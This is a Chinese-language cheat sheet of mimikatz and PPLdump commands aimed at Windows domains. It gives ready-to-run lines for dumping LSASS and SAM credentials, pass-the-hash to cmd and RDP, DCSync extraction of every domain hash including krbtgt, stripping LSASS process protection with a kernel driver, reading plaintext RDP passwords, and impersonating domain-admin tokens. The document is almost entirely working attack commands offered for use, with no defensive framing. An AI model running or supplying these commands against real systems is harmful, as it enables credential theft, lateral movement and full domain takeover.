mimikatz

mimikatz抓取密码

mimikatz "log microsoft.log" "privilege::debug" "sekurlsa::logonpasswords" "exit"

mimikatz Pass-The-Hash传递cmd

mimikatz "privilege::debug" "sekurlsa::pth /user:Administrator /domain:offensive.local /ntlm:ccef208c6485269c20db2cad21734fe7 /run:cmd.exe" "exit"

mimikatz Pass-The-Hash传递mstsc

mimikatz "privilege::debug"  "sekurlsa::pth /user:Administrator /domain:offensive.local /ntlm:ccef208c6485269c20db2cad21734fe7 /run:mstsc.exe /restrictedadmin" "exit"

mimikatz获取本机hash

mimikatz "privilege::debug"  "token::elevate" "lsadump::sam" "exit"

抓取域所有用户hash

mimikatz "log microsoft.log" "lsadump::dcsync /domain:offensive.local /all /csv" "exit"

抓取域管Administrator hash

mimikatz "log microsoft.log" "privilege::debug" "lsadump::dcsync /domain:offensive.local /user:Administrator" exit

抓取域的krbtgt hash

mimikatz "log microsoft.log" "privilege::debug" "lsadump::dcsync /domain:offensive.local /user:krbtgt" exit

抓取本机dmp密码

mimikatz "log microsoft.log" "sekurlsa::minidump lsass.dmp" "sekurlsa::logonPasswords full" exit

reg导出注册表hash,mimikatz读取注册表导出的hash信息

reg save hklm\sam c:\programdata\sam.hive && reg save hklm\system c:\programdata\system.hive

mimikatz读取注册表导出的hash信息

mimikatz "log" "lsadump::sam /sam:sam.hive /system:system.hive"  "exit"

mimikatz本身绕过

Mimikatz使用数字签名驱动程序来删除内核中 Process对象的保护标志。该文件 mimidrv.sys必须 位于当前文件夹中，才能使用命令加载为内核驱动程序服务!+。然后，你可以使用该命令! processprotect取消保护并最终访问 lsass.exe.

抓取
mimikatz # !+
mimikatz # !processprotect /process:lsass.exe /remove
mimikatz # privilege::debug
mimikatz # sekurlsa::logonpasswords

恢复
mimikatz # !processprotect /process:lsass.exe
mimikatz # !-

# https://github.com/itm4n/PPLdump
PPLdump.exe [-v] [-d] [-f] <PROC_NAME|PROC_ID> <DUMP_FILE>
PPLdump.exe lsass.exe lsass.dmp
PPLdump.exe -v 720 out.dmp

抓取明⽂的RDP密码

privilege::debug
ts::logonpasswords

查看当前用户令牌

token::whoami

查看当前机器中的所有用户令牌

TOKEN::List

把当前提升为system令牌

TOKEN::Elevate

模拟域管令牌

TOKEN::Elevate /domainadmin

还原令牌到初始状态

token::revert